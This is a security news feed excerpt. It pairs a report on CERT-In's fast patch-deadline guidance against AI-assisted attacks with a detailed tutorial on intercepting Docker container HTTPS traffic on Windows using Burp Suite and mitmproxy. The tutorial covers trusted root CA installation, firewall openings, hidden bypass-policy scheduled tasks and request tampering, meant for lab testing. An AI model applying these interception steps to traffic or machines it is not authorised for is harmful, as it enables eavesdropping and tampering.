<pubDate>Thu, 28 May 2026 15:08:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>India’s cybersecurity agency, CERT-In, has urged organizations to patch, mitigate, or isolate known exploited vulnerabilities affecting internet-facing “crown jewel” systems within 12 hours where feasible, warning that AI-assisted attacks are dramatically compressing the time between vulnerability disclosure and exploitation.</p>



<p>The recommendation, part of a sweeping new CERT-In blueprint on defending against AI-assisted cyber exploitation, signals a significant escalation in expectations around enterprise vulnerability management, exposure reduction, and operational resilience.</p>



<p>The 38-page framework also recommends one-day remediation for critical externally exposed vulnerabilities, three days for critical internal vulnerabilities affecting high-value systems, and five days for high-severity flaws based on risk prioritization.</p>



<p>CERT-In said threat actors are increasingly using AI to accelerate reconnaissance, vulnerability discovery, phishing, malware generation, and automated exploitation workflows.</p>



<p>“Exploitation timelines are reducing significantly,” the <a href="https://www.cert-in.org.in/s2cMainServlet?pageid=GUIDLNVIEW02&amp;refcode=CISG-2026-02" target="_blank" rel="noreferrer noopener">agency warned</a> in the advisory, adding that attacks are expected to become “increasingly autonomous.”</p>



<h2 class="wp-block-heading">An operationally disruptive target</h2>



<p>Security analysts said the headline 12-hour expectation is likely to force enterprises to rethink traditional weekly or monthly patching cycles, but cautioned that the guidance is more nuanced than a blanket patch mandate.</p>



<p>“The 12-hour window is the outlier, realistic only as a containment target on a narrow set of exposed assets, never as a patch-completion target across sprawling estates burdened by fragmented infrastructure, layered approvals, outsourced operations, and legacy dependency,” said Sanchit Vir Gogia, chief analyst at Greyhound Research.</p>



<p>Gogia said the blueprint’s tiered approach is more significant than the headline remediation clock itself because it ties response timelines to exposure and operational criticality rather than applying a uniform patching mandate across all systems.</p>



<p>“The five-day high-severity window is comfortable for most enterprises. The three-day critical-internal window is where the pressure actually bites,” he said, particularly in sectors such as finance, telecom, healthcare, and operational technology environments where uptime concerns complicate rapid change management.</p>



<p>Apeksha Kaushik, senior principal analyst at Gartner, said the biggest challenge for many organizations will not necessarily be deploying patches, but achieving the operational maturity needed for rapid exposure management.</p>



<p>“The primary barriers are not just technical, but operational. Most organizations lack real-time asset visibility, automated vulnerability prioritization, and cross-functional incident response playbooks,” Kaushik said.</p>



<p>“The most acute struggles will be in asset discovery, risk-based prioritization, and orchestrating rapid response across silos,” she added.</p>



<h2 class="wp-block-heading">From vulnerability management to exposure management</h2>



<p>The blueprint repeatedly emphasizes that traditional periodic security assessments are becoming insufficient against AI-enabled attacks capable of rapidly weaponizing newly disclosed flaws.</p>



<p>Instead, CERT-In is pushing organizations toward continuous exposure management, threat-informed defense, continuous monitoring, and adversarial testing.</p>



<p>Notably, the framework leans heavily on temporary mitigations, including isolation, access restrictions, WAF/API protections, enhanced monitoring, and compensating controls when immediate patching is not possible.</p>



<p>Analysts said that approach makes the timelines more achievable operationally, but also shifts the burden onto asset visibility and exposure intelligence.</p>



<p>“Compensating controls do make the timelines more workable. They also remove every excuse,” Gogia said. “If you cannot isolate, restrict, or monitor quickly, the problem was never patch cadence. The problem is that you do not know your own exposure.”</p>



<p>Kaushik similarly said the guidance effectively pushes organizations toward more mature exposure management capabilities.</p>



<p>“Organizations must be able to rapidly identify affected assets, assess risk, and deploy effective interim controls,” she said, adding that enterprises lacking mature asset inventories, segmentation, and monitoring capabilities will struggle to operationalize the guidance at scale.</p>



<p>The blueprint also calls for continuous vulnerability assessments, AI-assisted security testing, adversarial simulations, penetration testing, and red teaming exercises.</p>



<h2 class="wp-block-heading">A preview of future global standards?</h2>



<p>Analysts said CERT-In’s remediation expectations are among the most aggressive currently issued by a national cyber agency and may influence broader international vulnerability-management practices as AI compresses attacker timelines globally.</p>



<p>“CERT-In has done something the West has largely avoided: it has set standing clocks by asset category rather than deadlines by individual vulnerability,” Gogia said.</p>



<p>He contrasted the framework with CISA’s Known Exploited Vulnerabilities (KEV) program, which typically uses vulnerability-specific remediation deadlines rather than persistent enterprise-wide remediation clocks.</p>



<p>“The fixed-clock model looks aggressive today because the rest of the world has not caught up, not because it is reading the threat wrongly,” Gogia said.</p>



<p>Kaushik said the framework could create operational challenges for multinationals whose global service-level agreements are less stringent than India’s expectations. “For providers, this may create a compliance gap where internal SLAs are less stringent than India’s requirements, necessitating a reassessment of global patching and mitigation processes,” she said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Intercepting Docker Application Requests Using Burp Suite on Windows]]></title>
<description><![CDATA[Intercepting Docker Application Requests Using Burp Suite on WindowsBlogs use a more complex Docker + Burp Suite setup because not all application traffic is generated by a browser. In many Dockerized applications, requests can be made internally by services, background workers, APIs, or even oth...]]></description>
<link>https://tsecurity.de/de/3554034/hacking/intercepting-docker-application-requests-using-burp-suite-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3554034/hacking/intercepting-docker-application-requests-using-burp-suite-on-windows/</guid>
<pubDate>Thu, 28 May 2026 14:09:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sz7NthXQSf7oAWGuujZROA.png"><figcaption>Intercepting Docker Application Requests Using Burp Suite on Windows</figcaption></figure><p>Blogs use a more complex Docker + Burp Suite setup because not all application traffic is generated by a browser. In many Dockerized applications, requests can be made internally by services, background workers, APIs, or even other containers, which bypass the browser proxy entirely. A simple “browser → Burp Suite” setup only captures client-side traffic, but it misses these internal or server-to-server requests. By routing Docker container traffic through Burp Suite and controlling networking at the container level (or via Docker’s network/proxy configuration), security testers can intercept and analyze <em>all</em> HTTP/S traffic flowing in and out of the container environment. This is why advanced blogs often demonstrate full Docker + Burp integration instead of a basic browser proxy setup.</p><h3>Table of Contents</h3><ol><li>Introduction &amp; Windows Architecture Overview</li><li>Prerequisites &amp; Tooling</li><li>Understanding the Windows Docker Networking Stack</li><li>METHOD 1: Per-Container Proxy via Environment Variables (Simplest)</li><li>METHOD 2: Docker Desktop Built-in Proxy Configuration</li><li>METHOD 3: Docker Daemon-Level Proxy (System-wide Interception)</li><li>METHOD 4: WSL2 Deep-Dive — Intercepting Docker-on-WSL Traffic Through Windows Burp</li><li>Installing Burp’s CA Certificate in Windows Containers (Nano Server / Windows Server Core)</li><li>Intercepting Docker Registry Pull/Push Traffic on Windows</li><li>Windows Firewall Configuration</li><li>Troubleshooting Matrix — Windows-Specific Issues</li><li>Complete PoC Walkthrough — Step-by-Step Lab</li><li>Appendix: PowerShell Automation Scripts</li></ol><h3>1. Introduction &amp; Windows Architecture Overview</h3><p>Unlike Linux where Docker runs natively on the host kernel, Docker Desktop on Windows operates inside a lightweight Hyper-V VM (or WSL2 backend). This creates a network boundary between Burp Suite (running as a native Windows application) and Docker containers (running inside that VM). Understanding this topology is critical before attempting traffic interception.</p><p><strong>Architecture diagram (conceptual):</strong></p><pre>┌─────────────────────────────────────────────────────────────┐<br>│                   WINDOWS HOST                               │<br>│                                                              │<br>│  ┌──────────────────┐          ┌──────────────────────┐     │<br>│  │  Burp Suite       │          │  Browser / curl /    │     │<br>│  │  (127.0.0.1:8080) │          │  native apps         │     │<br>│  └────────┬─────────┘          └──────────────────────┘     │<br>│           │                                                 │<br>│  ┌────────▼─────────────────────────────────────────┐       │<br>│  │         host.docker.internal / vEthernet           │       │<br>│  │         (WSL / Hyper-V Virtual Switch)             │       │<br>│  └───────────────────────┬──────────────────────────┘       │<br>│                          │                                   │<br>├──────────────────────────┼───────────────────────────────────┤<br>│            ┌─────────────▼──────────────┐                    │<br>│            │   DOCKER VM / WSL2 VM      │                    │<br>│            │                            │                    │<br>│            │  ┌──────────────────────┐  │                    │<br>│            │  │   Containers         │  │                    │<br>│            │  │   (Linux/Windows)    │  │                    │<br>│            │  └──────────────────────┘  │                    │<br>│            └────────────────────────────┘                    │<br>└─────────────────────────────────────────────────────────────┘</pre><p><strong>Key Windows-specific facts:</strong></p><ul><li>host.docker.internal resolves from inside any container to the Windows host IP — this is the magic gateway for Burp.</li><li>There is no docker0 bridge on Windows — don't look for 172.17.0.1.</li><li>Docker Desktop for Windows uses either WSL2 backend (default, recommended) or Hyper-V backend.</li><li>Windows Firewall blocks inbound connections by default — you must add a rule for Burp.</li></ul><h3>2. Prerequisites &amp; Tooling</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*DdbBbYE1acLo-tuPOnNmqg.png"></figure><p><strong>Verify your Docker backend:</strong></p><pre># Open PowerShell as Administrator<br>docker version<br># Look for "OS/Arch: windows/amd64" for the client<br># For the server, check if it says "linux/amd64" (WSL2) or "windows/amd64" (Hyper-V)<br></pre><p><strong>Check WSL2 mode:</strong></p><pre>wsl -l -v<br># Make sure your Docker-desktop distribution shows "Running" and version "2"</pre><h3>3. Understanding the Windows Docker Networking Stack</h3><p>This is the most misunderstood aspect. Here’s what you need to know:</p><h3>The host.docker.internal DNS Record</h3><p>Docker Desktop automatically adds a DNS entry in every container that resolves to the Windows host’s IP address:</p><pre># From inside any Linux container on Docker Desktop Windows<br>ping host.docker.internal<br># PINGS 192.168.x.x (the Windows host's vEthernet IP)</pre><p>On Windows containers (not Linux containers — these are rare), host.docker.internal resolves to 10.0.75.1 by default.</p><h3>The vEthernet (WSL) Adapter</h3><p>When using WSL2 backend, Docker Desktop creates a virtual switch. Find its IP:</p><pre>ipconfig<br># Look for:<br>#   Ethernet adapter vEthernet (WSL (Hyper-V firewall)):<br>#      IPv4 Address. . . . . . . . . . . : 192.168.XX.XX</pre><p>This IP is what containers see as the gateway to the host. Burp must bind to ALL interfaces (0.0.0.0) so it’s reachable from this virtual adapter.</p><h3>No docker0 Bridge</h3><p>On Windows, there is no docker0 bridge device. The Linux bridge networking model doesn't apply. Containers on Docker Desktop Windows are routed through the Hyper-V virtual switch / WSL2 network NAT.</p><h3>4. METHOD 1: Per-Container Proxy via Environment Variables (Simplest)</h3><p>This is the quickest way to intercept traffic from a single container. No Docker config changes needed.</p><h3>Step 1: Configure Burp to Listen on All Interfaces</h3><ol><li>Open Burp Suite → Proxy tab → Options sub-tab</li><li>Under Proxy Listeners, if the default listener is bound to 127.0.0.1:8080, click Edit</li><li>Change Bind to address from Loopback only to All interfaces</li><li>Click OK</li></ol><p>Why: Containers cannot reach 127.0.0.1 on the Windows host. They connect through the virtual network adapter, so Burp must listen on 0.0.0.0.</p><h3>Step 2: Run a Container with Proxy Environment Variables</h3><pre># Using host.docker.internal (magic DNS name — works on Docker Desktop Windows)<br>docker run --rm -it `<br>  -e http_proxy="http://host.docker.internal:8080" `<br>  -e https_proxy="http://host.docker.internal:8080" `<br>  -e HTTP_PROXY="http://host.docker.internal:8080" `<br>  -e HTTPS_PROXY="http://host.docker.internal:8080" `<br>  -e no_proxy="localhost,127.0.0.1,.local" `<br>  ubuntu:22.04 bash</pre><h3>Step 3: Install Burp’s CA Certificate Inside the Container</h3><p>First, export Burp’s CA certificate:</p><ol><li>In Burp, go to Proxy → Options → Import / Export CA Certificate</li><li>Click Export → Certificate in DER format → Save as burp.der</li></ol><p>Now, from inside the container:</p><pre># Inside the container<br>apt-get update &amp;&amp; apt-get install -y ca-certificates curl<br><br># Download the cert from the Windows host<br># Option A: Host it on a local web server temporarily<br># Option B: Copy via docker cp (from another terminal)</pre><p>Better approach — mount the cert at runtime:</p><pre># On Windows host, convert DER to PEM first<br>openssl x509 -inform DER -in burp.der -out burp.pem -outform PEM<br><br># Run with cert mounted<br>docker run --rm -it `<br>  -v C:\Users\%USERNAME%\Desktop\burp.pem:/usr/local/share/ca-certificates/burp.crt `<br>  -e http_proxy="http://host.docker.internal:8080" `<br>  -e https_proxy="http://host.docker.internal:8080" `<br>  ubuntu:22.04 bash -c "apt-get update &amp;&amp; apt-get install -y ca-certificates &amp;&amp; update-ca-certificates &amp;&amp; curl -v https://github.com"</pre><h3>Step 4: Verify Interception</h3><p>Set Burp’s Proxy → Intercept to Intercept is on, then from the container:</p><pre>curl -v https://api.github.com/zen</pre><p>The request pauses in Burp. Click Forward to release it)Skip</p><h3>PoC: Docker Compose on Windows</h3><pre># docker-compose.yml<br>version: '3.8'<br>services:<br>  intercepted-app:<br>    image: node:18-alpine<br>    environment:<br>      - http_proxy=http://host.docker.internal:8080<br>      - https_proxy=http://host.docker.internal:8080<br>      - HTTP_PROXY=http://host.docker.internal:8080<br>      - HTTPS_PROXY=http://host.docker.internal:8080<br>      - no_proxy=localhost,127.0.0.1<br>    volumes:<br>      - ./app:/app:ro<br>    working_dir: /app<br>    command: node app.js</pre><pre># Run<br>docker-compose up<br><br># The Node.js app's outbound HTTP/HTTPS calls appear in Burp</pre><h3>5. METHOD 2: Docker Desktop Built-in Proxy Configuration</h3><p>Docker Desktop for Windows has a native proxy settings UI. This automatically propagates proxy env vars to all containers started through Docker Desktop.</p><h3>Step 1: Configure Docker Desktop Proxy</h3><ol><li>Open Docker Desktop → click the gear icon (Settings)</li><li>Navigate to Resources → Proxies</li><li>Toggle Manual proxy configuration to ON</li><li>Enter:</li></ol><ul><li>HTTP proxy: <a href="http://host.docker.internal:8080/">http://host.docker.internal:8080</a></li><li>HTTPS proxy: <a href="http://host.docker.internal:8080/">http://host.docker.internal:8080</a></li><li>No proxy: localhost,127.0.0.1,.local,.internal</li></ul><p>5. Click Apply &amp; Restart</p><h3>Step 2: Every Container Now Uses the Proxy</h3><p>No -e flags needed anymore:</p><pre>docker run --rm alpine:latest wget -qO- https://google.com<br># ^^^ This goes through Burp automatically</pre><h3>Step 3: Install CA Certificate</h3><p>You still need to install Burp’s CA in each image you test. The easiest way on Windows:</p><p>Create a base image with Burp’s CA pre-installed:</p><pre># Dockerfile.burp-base<br>FROM alpine:latest<br>COPY burp.pem /usr/local/share/ca-certificates/burp.crt<br>RUN apk add --no-cache ca-certificates &amp;&amp; update-ca-certificates</pre><pre>docker build -t burp-base -f Dockerfile.burp-base .</pre><p>Then use burp-base as your base for any container you want to intercept.</p><h3>Step 4: Verify the Proxy is Active</h3><pre># Check Docker Desktop proxy settings from CLI<br>docker info | Select-String -Pattern "Proxy"</pre><h3>6. METHOD 3: Docker Daemon-Level Proxy (System-wide Interception)</h3><p>This targets the Docker daemon itself — intercepting docker pull, docker push, and all container traffic at the engine level.</p><h3>Step 1: Configure Docker Daemon Proxy on Windows</h3><p>On Windows, Docker daemon config lives at %ProgramData%\Docker\config\daemon.json:</p><pre>{<br>  "proxy": {<br>    "http-proxy": "http://host.docker.internal:8080",<br>    "https-proxy": "http://host.docker.internal:8080",<br>    "no-proxy": "localhost,127.0.0.1,.local,.internal"<br>  }<br>}</pre><p>If the file doesn’t exist, create it.</p><h3>Step 2: Restart Docker Desktop</h3><pre># Restart via tray icon or:<br>Restart-Service docker</pre><h3>Step 3: Verify Daemon Proxy</h3><pre>docker info<br># Look for:<br># HTTP Proxy: http://host.docker.internal:8080<br># HTTPS Proxy: http://host.docker.internal:8080<br># No Proxy: localhost,127.0.0.1,.local,.internal</pre><h3>Step 4: Intercept Docker Pull Traffic</h3><p>Now when you run docker pull:</p><pre>docker pull alpine:latest</pre><p>In Burp’s HTTP history, you’ll see requests to:</p><ul><li>https://auth.docker.io/token?... (authentication token)</li><li>https://registry-1.docker.io/v2/library/alpine/manifests/latest (manifest)</li><li>https://registry-1.docker.io/v2/library/alpine/blobs/sha256:... (layer blobs)</li></ul><h3>7. METHOD 4: WSL2 Deep-Dive — Intercepting Docker-on-WSL Traffic Through Windows Burp</h3><p>If you run Docker inside a WSL2 distribution (e.g., Kali Linux in WSL2 with Docker installed natively), the networking is more complex. Here’s the complete setup.</p><h3>Architecture</h3><pre>┌──────────────────────────────────────────────────────┐<br>│                  WINDOWS HOST                         │<br>│  ┌──────────────────────────────────────────────┐    │<br>│  │  Burp Suite (0.0.0.0:8081)                    │    │<br>│  └──────────▲───────────────────────────────────┘    │<br>│             │                                        │<br>│  ┌──────────┴───────────────────────────────────┐    │<br>│  │  vEthernet (WSL) 192.168.X.X                  │    │<br>│  └──────────────────┬───────────────────────────┘    │<br>├─────────────────────┼────────────────────────────────┤<br>│  ┌──────────────────▼───────────────────────────┐    │<br>│  │  WSL2 VM                                     │    │<br>│  │  ┌───────────────────────────────────────┐    │    │<br>│  │  │  Kali/WSL eth0 172.X.X.X               │    │    │<br>│  │  │  ┌─────────────────────────────────┐   │    │    │<br>│  │  │  │  mitmproxy port 8080            │   │    │    │<br>│  │  │  │  (port-forwarded from WSL→Win)  │   │    │    │<br>│  │  │  └──────────▲──────────────────────┘   │    │    │<br>│  │  │             │                          │    │    │<br>│  │  │  ┌──────────┴──────────────────────┐   │    │    │<br>│  │  │  │  Docker containers in WSL       │   │    │    │<br>│  │  │  └─────────────────────────────────┘   │    │    │<br>│  │  └───────────────────────────────────────┘    │    │<br>│  └──────────────────────────────────────────────┘    │<br>└──────────────────────────────────────────────────────┘</pre><h3>Step 1: Install mitmproxy in WSL</h3><pre># Inside your WSL distribution (Kali/Ubuntu)<br>sudo apt update &amp;&amp; sudo apt install -y mitmproxy python3-pip</pre><h3>Step 2: Set Up Port Forwarding from WSL2 to Windows</h3><p>Save this as C:\Scripts\wsl2-portforward.ps1:</p><pre># wsl2-portforward.ps1<br># Run as Administrator<br><br>$wslIp = bash.exe -c "ip addr show eth0 | grep -oP 'inet \K[\d.]+'"<br>$ports = @(8080)  # mitmproxy port inside WSL<br><br># Remove old firewall rules<br>Remove-NetFireWallRule -DisplayName 'WSL2 Burp Proxy' -ErrorAction SilentlyContinue<br><br># Add new firewall rule<br>New-NetFireWallRule -DisplayName 'WSL2 Burp Proxy' `<br>  -Direction Inbound -LocalPort $ports -Action Allow -Protocol TCP<br><br># Remove old portproxy rules<br>foreach ($port in $ports) {<br>    netsh interface portproxy delete v4tov4 listenport=$port listenaddress=0.0.0.0 | Out-Null<br>    netsh interface portproxy add v4tov4 `<br>      listenport=$port `<br>      listenaddress=0.0.0.0 `<br>      connectport=$port `<br>      connectaddress=$wslIp<br>}<br><br>Write-Host "[+] WSL2 IP: $wslIp"<br>Write-Host "[+] Ports forwarded: $($ports -join ',')"<br>Write-Host "[+] Firewall rule added"</pre><p>Run it:</p><pre># PowerShell as Administrator<br>Set-ExecutionPolicy Bypass -Scope Process<br>.\wsl2-portforward.ps1</pre><h3>Step 3: Start mitmproxy in WSL</h3><pre># In WSL terminal<br>mitmproxy --listen-port 8080 --set block_global=false</pre><h3>Step 4: Configure Burp with an Upstream Proxy</h3><ol><li>In Burp Suite, go to User Options → Connections</li><li>Under Upstream Proxy Servers, click Add</li><li>Set:</li></ol><ul><li>Destination host: * (wildcard — all traffic)</li><li>Proxy host: 127.0.0.1</li><li>Proxy port: 8080 (this is the forwarded mitmproxy port)</li></ul><p>4. Click OK</p><h3>Step 5: Configure Burp’s Proxy Listener</h3><ol><li>Proxy → Options → Proxy Listeners</li><li>Add a listener on 0.0.0.0:8081</li><li>This is the port you’ll point your Windows browser to</li></ol><h3>Step 6: Install CA Certificates</h3><ul><li>In WSL: mitmproxy’s CA is at ~/.mitmproxy/mitmproxy-ca-cert.pem</li><li>Install mitmproxy CA on Windows as a trusted root</li><li>Install Burp’s CA on Windows as a trusted root (see below`</li></ul><p><strong>Chain summary:</strong></p><pre>Browser → Burp (127.0.0.1:8081) → mitmproxy (127.0.0.1:8080 forwarded from WSL) → Docker containers inside WSL</pre><h3>8. Installing Burp’s CA Certificate in Windows Containers (Nano Server / Windows Server Core)</h3><p>Windows containers (not Linux containers) run a full Windows kernel. Installing a CA in them is different.</p><h3>For Windows Server Core Containers</h3><pre># Dockerfile.windows-intercept<br>FROM mcr.microsoft.com/windows/servercore:ltsc2022<br><br># Copy Burp certificate (PEM format)<br>COPY burp.pem C:\burp-ca.crt<br><br># Install into Windows certificate store<br>RUN certutil -addstore -f Root C:\burp-ca.crt<br><br># Set proxy environment variables<br>ENV http_proxy=http://host.docker.internal:8080<br>ENV https_proxy=http://host.docker.internal:8080</pre><pre>docker build -t intercepted-windows -f Dockerfile.windows-intercept .<br>docker run --rm intercepted-windows powershell Invoke-WebRequest -Uri https://example.com</pre><h3>For Nano Server Containers</h3><pre>FROM mcr.microsoft.com/windows/nanoserver:ltsc2022<br>COPY burp.pem C:\burp-ca.crt<br>RUN certoc.exe -addstore Root C:\burp-ca.crt</pre><p><em>Note: Windows containers are limited to the same OS build as the host. Use </em><em>mcr.microsoft.com/windows images matching your Windows build number.</em></p><h3>9. Intercepting Docker Registry Pull/Push Traffic on Windows</h3><p>When you configure the Docker daemon proxy (Method 3), docker pull and docker push traffic flows through Burp.</p><h3>What You’ll See in Burp’s HTTP History</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*1IkQ-Gxj984R-srfiEouiw.png"></figure><h3>PoC: Intercept and Modify a Docker Pull</h3><pre># In Burp: Intercept is ON<br># In PowerShell:<br>docker pull alpine:latest<br><br># Burp catches the manifest request - you can see:<br># GET /v2/library/alpine/manifests/latest HTTP/1.1<br># Host: registry-1.docker.io<br># Accept: application/vnd.docker.distribution.manifest.v2+json<br># Authorization: Bearer &lt;token&gt;<br># Forward it - the blob requests will also appear</pre><h3>10. Windows Firewall Configuration</h3><p>Windows Defender Firewall blocks inbound connections to Burp by default. You must create an allow rule.</p><h3>Automated (PowerShell)</h3><pre># PowerShell as Administrator<br>New-NetFirewallRule -DisplayName "Burp Suite Proxy" `<br>  -Direction Inbound `<br>  -LocalPort 8080,8081 `<br>  -Action Allow `<br>  -Protocol TCP `<br>  -Profile Any</pre><h3>Manual (GUI)</h3><ol><li>Open Windows Defender Firewall with Advanced Security</li><li>Click Inbound Rules → New Rule</li><li>Rule Type: Port</li><li>Protocol: TCP, Specific local ports: 8080,8081</li><li>Action: Allow the connection</li><li>Profile: Tick all three (Domain, Private, Public)</li><li>Name: Burp Suite Proxy</li><li>Click Finish</li></ol><h3>11. Troubleshooting Matrix — Windows-Specific Issues</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*NoJPjmXqC5cgEDMeylaNDw.png"></figure><h3>Diagnostic Commands</h3><pre># Test Burp is reachable from the host<br>curl -x http://127.0.0.1:8080 http://httpbin.org/get<br><br># Test Burp is reachable from a container<br>docker run --rm alpine:latest wget -qO- http://host.docker.internal:8080<br><br># Check Docker proxy settings<br>docker info | Select-String -Pattern "Proxy|proxy"<br><br># Verify portproxy rules (WSL2 method)<br>netsh interface portproxy show all<br><br># Check Docker Desktop proxy UI is active<br># Settings → Resources → Proxies should show your values<br><br># Reset Docker proxy to default<br># Remove or empty the "proxy" key in %ProgramData%\Docker\config\daemon.json<br># Reset Docker Desktop proxy UI to "No proxy"</pre><h3>12. Complete PoC Walkthrough — Step-by-Step Lab</h3><p>Here’s a full end-to-end lab you can run on a clean Windows machine with Docker Desktop.</p><h3>Lab Goal</h3><p>Intercept all outbound HTTPS traffic from an ubuntu:22.04 container making API calls.</p><h3>Step 1: Export Burp CA</h3><ol><li>Open Burp Suite → Proxy → Options → Import/Export CA Certificate</li><li>Click Export → Certificate in DER format</li><li>Save to C:\burp-lab\burp.der</li></ol><h3>Step 2: Convert to PEM</h3><pre># Using OpenSSL for Windows<br>openssl x509 -inform DER -in C:\burp-lab\burp.der -out C:\burp-lab\burp.pem -outform PEM</pre><h3>Step 3: Configure Burp Listener</h3><p>Burp → Proxy → Options → Proxy Listeners:</p><ul><li>Default listener: Edit → change to All interfaces</li><li>Add secondary listener: 0.0.0.0:8081 (for WSL scenarios)</li></ul><h3>Step 4: Configure Windows Firewall</h3><pre>New-NetFireWallRule -DisplayName "Burp Lab" -Direction Inbound -LocalPort 8080 -Action Allow -Protocol TCP</pre><h3>Step 5: Create a PoC Container with a Custom Dockerfile</h3><pre># C:\burp-lab\Dockerfile<br>FROM ubuntu:22.04<br><br># Install Burp CA<br>COPY burp.pem /usr/local/share/ca-certificates/burp.crt<br>RUN apt-get update &amp;&amp; \<br>    apt-get install -y ca-certificates curl dnsutils &amp;&amp; \<br>    update-ca-certificates &amp;&amp; \<br>    rm -rf /var/lib/apt/lists/*<br><br># Proxy env vars<br>ENV http_proxy=http://host.docker.internal:8080<br>ENV https_proxy=http://host.docker.internal:8080<br>ENV HTTP_PROXY=http://host.docker.internal:8080<br>ENV HTTPS_PROXY=http://host.docker.internal:8080<br>ENV no_proxy=localhost,127.0.0.1<br><br># Test script<br>COPY test.sh /test.sh<br>RUN chmod +x /test.sh<br>CMD ["/test.sh"]</pre><pre># C:\burp-lab\test.sh<br>#!/bin/bash<br>echo "=== Testing HTTP ==="<br>curl -v http://httpbin.org/get 2&gt;&amp;1 | head -20<br><br>echo "=== Testing HTTPS ==="<br>curl -v https://api.github.com/zen 2&gt;&amp;1<br><br>echo "=== Testing API call ==="<br>curl -s https://jsonplaceholder.typicode.com/posts/1 | head -100</pre><h3>Step 6: Build and Run</h3><pre>cd C:\burp-lab<br>docker build -t burp-lab .<br>docker run --rm burp-lab</pre><h3>Step 7: Observe in Burp</h3><ol><li>Set Burp’s Intercept to ON</li><li>Watch each request pause in the Proxy → Intercept tab</li><li>Click Forward to release each one</li><li>After completion, review all traffic in Proxy → HTTP history</li></ol><h3>Step 8: Modify a Request in Flight (The “Killer Feature”)</h3><ol><li>With Intercept ON, run the container again</li><li>When the jsonplaceholder.typicode.com request appears:</li></ol><ul><li>Modify the URL from /posts/1 to /posts/2</li><li>Or modify the Accept header</li><li>Or change GET to POST and inject a body</li></ul><p>3. Click Forward to send the modified request</p><p>4. The container receives the modified response</p><h3>13. Appendix: PowerShell Automation Scripts</h3><h3>Script 1: One-Click Burp + Docker Intercept Setup</h3><p>Save as C:\Scripts\setup-burp-docker.ps1:</p><pre># setup-burp-docker.ps1<br># Run as Administrator<br><br>param(<br>    [int]$BurpPort = 8080,<br>    [string]$BurpCertPath = "$env:USERPROFILE\Desktop\burp.der"<br>)<br><br>Write-Host "[*] Setting up Burp + Docker interception on Windows" -ForegroundColor Cyan<br><br># 1. Firewall rule<br>Write-Host "[*] Adding Windows Firewall rule for port $BurpPort..."<br>Remove-NetFireWallRule -DisplayName "Burp Suite Docker Proxy" -ErrorAction SilentlyContinue<br>New-NetFireWallRule -DisplayName "Burp Suite Docker Proxy" `<br>  -Direction Inbound -LocalPort $BurpPort -Action Allow -Protocol TCP<br><br># 2. Convert DER to PEM if needed<br>$pemPath = $BurpCertPath -replace '\.der$', '.pem'<br>if (Test-Path $BurpCertPath) {<br>    Write-Host "[*] Converting DER to PEM..."<br>    openssl x509 -inform DER -in $BurpCertPath -out $pemPath -outform PEM<br>    Write-Host "[+] PEM saved to: $pemPath"<br>}<br><br># 3. Docker Desktop proxy config (via daemon.json)<br>$daemonPath = "$env:ProgramData\Docker\config\daemon.json"<br>$config = @{<br>    proxy = @{<br>        "http-proxy" = "http://host.docker.internal:$BurpPort"<br>        "https-proxy" = "http://host.docker.internal:$BurpPort"<br>        "no-proxy" = "localhost,127.0.0.1,.local,.internal"<br>    }<br>}<br><br>if (Test-Path $daemonPath) {<br>    $existing = Get-Content $daemonPath -Raw | ConvertFrom-Json<br>    $existing | Add-Member -Force -NotePropertyMembers @{proxy = $config.proxy}<br>    $existing | ConvertTo-Json -Depth 10 | Set-Content $daemonPath<br>} else {<br>    $config | ConvertTo-Json | Set-Content $daemonPath<br>}<br><br>Write-Host "[+] daemon.json updated at: $daemonPath"<br><br># 4. Create test Dockerfile<br>$testDir = "$env:TEMP\burp-docker-test"<br>New-Item -ItemType Directory -Force -Path $testDir | Out-Null<br><br>@"<br>FROM ubuntu:22.04<br>COPY burp.pem /usr/local/share/ca-certificates/burp.crt<br>RUN apt-get update &amp;&amp; apt-get install -y ca-certificates curl &amp;&amp; update-ca-certificates<br>ENV http_proxy=http://host.docker.internal:$BurpPort<br>ENV https_proxy=http://host.docker.internal:$BurpPort<br>ENV HTTP_PROXY=http://host.docker.internal:$BurpPort<br>ENV HTTPS_PROXY=http://host.docker.internal:$BurpPort<br>ENV no_proxy=localhost,127.0.0.1<br>CMD curl -v https://api.github.com/zen<br>"@ | Out-File -FilePath "$testDir\Dockerfile" -Encoding ascii<br><br>if (Test-Path $pemPath) {<br>    Copy-Item $pemPath "$testDir\burp.pem"<br>}<br><br>Write-Host @"<br><br>[+] Setup complete!<br><br>Next steps:<br>1. Ensure Burp is listening on ALL interfaces (0.0.0.0:$BurpPort)<br>2. Restart Docker Desktop to pick up proxy changes<br>3. Build the test container:<br>   cd $testDir<br>   docker build -t burp-test .<br>   docker run --rm burp-test<br>4. Watch traffic appear in Burp's HTTP history<br><br>Verification:<br>- Firewall rule: netsh advfirewall firewall show rule name='Burp Suite Docker Proxy'<br>- Docker proxy: docker info | Select-String Proxy<br>"@ -ForegroundColor Green</pre><h3>Script 2: WSL2 Port Forward on Boot (Scheduled Task)</h3><pre># Create a Scheduled Task that runs on logon<br>$action = New-ScheduledTaskAction -Execute "PowerShell.exe" `<br>  -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Scripts\wsl2-portforward.ps1"<br><br>$trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME<br>$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries<br>$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest<br><br>Register-ScheduledTask -TaskName "WSL2-Burp-PortForward" `<br>  -Action $action `<br>  -Trigger $trigger `<br>  -Settings $settings `<br>  -Principal $principal `<br>  -Description "Forwards WSL2 port 8080 to Windows host for Burp Suite interception"</pre><h3>Quick Reference Card</h3><figure><img 